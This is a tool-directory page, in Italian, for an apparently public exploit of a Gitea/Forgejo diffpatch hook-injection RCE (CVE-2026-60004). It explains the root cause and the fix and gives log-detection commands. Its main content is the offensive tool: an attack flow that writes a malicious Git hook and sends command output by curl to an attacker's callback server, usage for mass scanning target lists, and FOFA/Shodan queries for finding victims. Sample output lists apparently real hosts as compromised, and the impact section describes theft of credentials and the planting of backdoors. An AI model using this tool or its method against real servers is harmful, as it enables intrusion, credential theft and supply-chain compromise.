Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-60004 — CVE-2026-60004 — Gitea/Forgejo Diffpatch Git Hook RCE. Bare clone → post-index-change hook injection. CVSS 9.8 | CWE-94 | Gitea < 1.27.1 | Kitploit
Strumenti/GitHubGitHub/shinthink/cve-2026-60004
ReconnaissanceVulnerability ScannersExploitationWeb Application ExploitationData ExfiltrationPenetration TestingRed Teaming
GitHubshinthink/cve-2026-60004

CVE-2026-60004

CVE-2026-60004 — Gitea/Forgejo Diffpatch Git Hook RCE. Bare clone → post-index-change hook injection. CVSS 9.8 | CWE-94 | Gitea < 1.27.1

Vedi Repository
18 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-60004 — RCE tramite hook Git nel Diffpatch di Gitea

Iniezione di hook tramite clone bare → post-index-change → Esecuzione arbitraria di comandi


Panoramica

CVE-2026-60004 è una vulnerabilità pre-autenticazione di esecuzione remota di codice con severità critica (CVSS 9.8) nelle piattaforme Git self-hosted Gitea e Forgejo, che interessa le versioni dalla 1.17 alla 1.27.0.

La vulnerabilità sfrutta un difetto progettuale del clone bare nell'endpoint API POST /api/v1/repos/{owner}/{repo}/diffpatch. Gitea applica le patch fornite dall'utente all'interno di un clone temporaneo bare — dove la radice del repository è $GIT_DIR stesso. Inviando la stessa patch dannosa due volte, un attaccante innesca un conflitto add/add che induce il fallback di merge a tre vie di Git (-3, Git 2.32+) a scrivere un hook post-index-change eseguibile direttamente in $GIT_DIR/hooks/. Git esegue automaticamente questo hook durante l'aggiornamento dell'indice, consentendo l'esecuzione arbitraria di comandi con l'account di servizio di Gitea.

È richiesto l'accesso in scrittura al repository — banalmente ottenibile poiché Gitea ha per impostazione predefinita la registrazione aperta, senza verifica email, approvazione dell'amministratore o limiti alla creazione di repository.

Versioni Interessate

VersioneStato
< 1.17Non interessata (route diffpatch non ancora introdotta)
1.17 — 1.27.0Vulnerabile
1.27.1+Corretta

Scoperta da: Shai Rod (NightRang3r), 28 luglio 2026 Progetto: Gitea / Forgejo (servizio Git self-hosted) Componente: endpoint API diffpatch, clone temporaneo bare


Meccanismo della Vulnerabilità

Causa Radice

La vulnerabilità ha origine da un singolo parametro in services/repository/files/patch.go:

root@kitploit:~
// VULNERABLE — v1.27.0, line 195
// The second argument "true" creates a BARE clone
if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
    return nil, err
}

In un clone bare non esiste un working tree: la radice del repository è $GIT_DIR. Una patch dannosa il cui percorso è hooks/post-index-change finisce quindi direttamente nella directory reale degli hook di Git, non in un working tree isolato.

L'invocazione di git apply aggrava ulteriormente il problema:

root@kitploit:~
// VULNERABLE — v1.27.0, lines 206-209
cmdApply := gitcmd.NewCommand("apply",
    "--index", "--recount", "--cached",
    "--ignore-whitespace", "--whitespace=fix", "--binary")

if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
    cmdApply.AddArguments("-3")  // three-way merge fallback
}

Perché Funziona

  1. Il clone bare non fornisce alcun sandbox — la radice del clone temporaneo è $GIT_DIR, quindi il percorso hooks/post-index-change punta alla directory reale degli hook.
  2. --cached non è infallibile — il fallback a tre vie -3 di Git 2.32+ scrive i risultati del merge nel working tree durante i conflitti add/add, nonostante il flag --cached.
  3. Il doppio invio innesca il conflitto — la prima applicazione aggiunge l'hook all'indice. La seconda applicazione crea una collisione add/add, il merge a tre vie scrive il file su disco e Git lo esegue.
  4. Git esegue automaticamente post-index-change — dopo l'aggiornamento dell'indice, Git esegue incondizionatamente questo hook se esiste ed è eseguibile. Nessuna configurazione necessaria.
  5. I comandi dell'hook NON POSSONO modificare l'indice — git update-index all'interno dell'hook va in deadlock perché git apply mantiene il lock dell'indice. Utilizzare callback HTTP (curl) o reverse shell per l'esfiltrazione dell'output.

Flusso dell'Attacco

root@kitploit:~
1. Attacker registers account (open registration is the Gitea default)
2. Creates initialized private repository → obtains write access
3. POSTs malicious patch to /api/v1/repos/{owner}/{repo}/diffpatch
   └─ Bare temp clone created: .Clone(ctx, oldBranch, true)
   └─ git apply --index --cached -3 processes the patch
   └─ hooks/post-index-change added to INDEX only (--cached)
4. POSTs the SAME patch again → add/add conflict detected
   └─ Three-way merge (-3) resolves the conflict
   └─ Writes hooks/post-index-change to $GIT_DIR/hooks/ (bypasses --cached)
   └─ Git fires post-index-change hook automatically
   └─ Sleep N seconds → timing delta confirms RCE
5. Hook exfiltrates command output via curl to attacker's callback server
   └─ GET /?h=<hostname>&c=<command>&data=<base64_output>
6. Callback server writes output to organized files per target

Riferimenti Verificati al Codice Sorgente

Rilevamento nei Log del Server

root@kitploit:~
# Look for repeated diffpatch POSTs from newly-registered accounts
grep -E "POST.*diffpatch" /var/log/gitea/gitea.log | awk '{print $1, $3, $NF}' | sort | uniq -c | sort -rn

# Suspicious pattern: new account → immediate repo creation → diffpatch within seconds
grep -E "(user_created|repo_created|diffpatch)" /var/log/gitea/gitea.log

# Check temp directories for orphaned hook files
find /tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
find /var/tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null

Difetto Progettuale Chiave

La differenza tra un clone bare e uno non bare — un singolo parametro booleano — determina se un percorso di patch è una voce innocua del working tree o un hook eseguibile che atterra direttamente nella directory interna di Git. La correzione cambia esattamente un carattere nel diff (true → false), motivo per cui il commit è stato etichettato come "refactor: git patch apply" sotto MISC anziché sotto SECURITY. L'operazione che avrebbe dovuto essere isolata nell'indice (--cached) è stata silenziosamente compromessa dal meccanismo di merge a tre vie di Git, e nessun controllo aggiuntivo impediva la creazione di file hook nella $GIT_DIR del clone bare.


Installazione

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-60004.git
cd CVE-2026-60004
pip install requests

Utilizzo

root@kitploit:~
# Single target (timing-based RCE detection)
python cve_2026_60004.py -t gitea.example.com

# Single target with callback for output capture
python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888

# Mass scan
python cve_2026_60004.py -f targets.txt -o rce.txt --threads 20

# Force attempt regardless of detected version
python cve_2026_60004.py -f targets.txt --forced

# Auto-start built-in callback listener (zero setup)
python cve_2026_60004.py -t gitea.example.com --listen

Argomenti

root@kitploit:~
  -t, --target       Single target URL
  -f, --file         Target list, one per line
  -c, --command      Shell command to execute (default: id)
  --callback         HTTP callback URL for output exfiltration
  --listen [PORT]    Auto-start built-in callback listener
  -o, --output       Save RCE-confirmed URLs to file
  --threads          Concurrent workers (default: 25)
  --timeout          HTTP request timeout in seconds
  --no-cleanup       Leave repository and user on target
  --forced           Attempt exploit regardless of detected version
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

Proof of Concept

Singolo Target

root@kitploit:~
$ python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888
root@kitploit:~
  Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8

  Host        : gitea.example.com
  Version     : 1.22.0
  Vuln (< 1.27.1) : YES
  RCE         : CONFIRMED
  Detection   : timing Δ 8.0s (hook sleep 4s)
  User        : poc_a1b2c3
  Time        : 9.5s

Scansione di Massa

root@kitploit:~
$ python cve_2026_60004.py -f targets.txt --callback http://your-server:8888 --threads 20
root@kitploit:~
  Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8

  Targets: 259  |  Threads: 20

  [RCE] gitea.idetama.id              Δ8.7s (hook sleep 4s)
  [RCE] gitea.roan.id.au              Δ8.7s (hook sleep 4s)
  [DET] git.ofon.id                   | ⠼ [████░░░░░░░░░░░] 86/259 (33%)  Det:76  RCE:2

  ───────────────────────────────────────────────────────
  SCAN SUMMARY
  ───────────────────────────────────────────────────────
  Total           : 259
  RCE Confirmed   : 12
  Hook Failed     : 5
  Patched         : 25
  Errors          : 151
     Register fail : 85
     Login fail    : 42
     Repo fail     : 24
  Not Gitea       : 66
  ───────────────────────────────────────────────────────
  Detection method: timing
  Done | 77s

Output del Callback (salvato automaticamente per target)

root@kitploit:~
callback-data/
├── index.txt
├── gitea.idetama.id/
│   ├── output_2026-08-03_120000.txt
│   └── latest.txt
├── gitea.roan.id.au/
│   └── ...

FOFA / Shodan

root@kitploit:~
FOFA:   title="Gitea" || body="gitea" || body="forgejo"
Shodan: http.title:"Gitea" http.component:"Gitea"
Censys: services.http.response.html_title:"Gitea"

Impatto

Uno sfruttamento riuscito consente l'esecuzione remota di codice con l'account di servizio di Gitea:

  • Estrarre la configurazione app.ini — credenziali del database, segreti SMTP, chiavi app OAuth, segreti LFS/JWT
  • Accedere a tutti i repository ospitati, alla cronologia dei commit e agli oggetti LFS
  • Spostarsi lateralmente verso i servizi interni raggiungibili dall'host Gitea (CI/CD, registry di pacchetti, registry di container)
  • Distribuire backdoor persistenti tramite chiavi SSH o account amministratore shadow
  • Compromissione della supply chain software — iniettare backdoor nei repository serviti dall'istanza

Non è necessario alcun account sull'istanza: la registrazione è aperta per impostazione predefinita.


La Correzione (1.27.1)

Gitea ha corretto la vulnerabilità nella versione 1.27.1 (commit 470d34b) attraverso:

  • La modifica del clone temporaneo da bare a non bare, così che i percorsi controllati dall'attaccante finiscano nel working tree anziché direttamente in $GIT_DIR/hooks/
  • L'aggiunta di un commento di avviso secondo cui le operazioni --index possono interagire con il working tree in determinate condizioni
  • L'aggiunta di uno unit test (TestGitPatchPrepare) che verifica che il clone temporaneo sia non bare controllando la presenza di una sottodirectory .git
root@kitploit:~
- if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
+ // here must NOT use bare repo, because the following git commands
+ // might operate working tree ("--index") directly
+ if err := t.Clone(ctx, opts.OldBranch, false); err != nil {

La correzione è comparsa nelle note di rilascio della 1.27.1 sotto MISC come "refactor: git patch apply" anziché sotto SECURITY, facendo sì che gli amministratori che esaminano solo le voci di changelog relative alla sicurezza possano facilmente perdersi questo aggiornamento critico. Lo stesso pattern di clone bare in CherryPick è stato anch'esso corretto.


Disclaimer

SOLO PER SCOPI EDUCATIVI E DI TEST AUTORIZZATO.

Non utilizzare contro sistemi senza l'esplicita autorizzazione del proprietario. Gli autori non si assumono alcuna responsabilità per un uso improprio.


Riferimenti

RisorsaLink

Scoperta da Shai Rod (NightRang3r). Non affiliata a Gitea o Forgejo.

Scarica lo strumento
FileRiga(e)Scopo
services/repository/files/patch.go195t.Clone(ctx, opts.OldBranch, true) — creazione del clone bare
services/repository/files/patch.go206-209git apply con i flag --index --cached -3
services/repository/files/patch.go215-223WriteTree() + CommitTree() + Push() — persiste lo stato dell'attaccante
services/repository/files/cherry_pick.go~170Stesso pattern di clone bare in CherryPick (anch'esso corretto)
Commit di correzione Gitea470d34b
RicercatoreNightRang3r
CWE-94Code Injection
Hook di Gitpost-index-change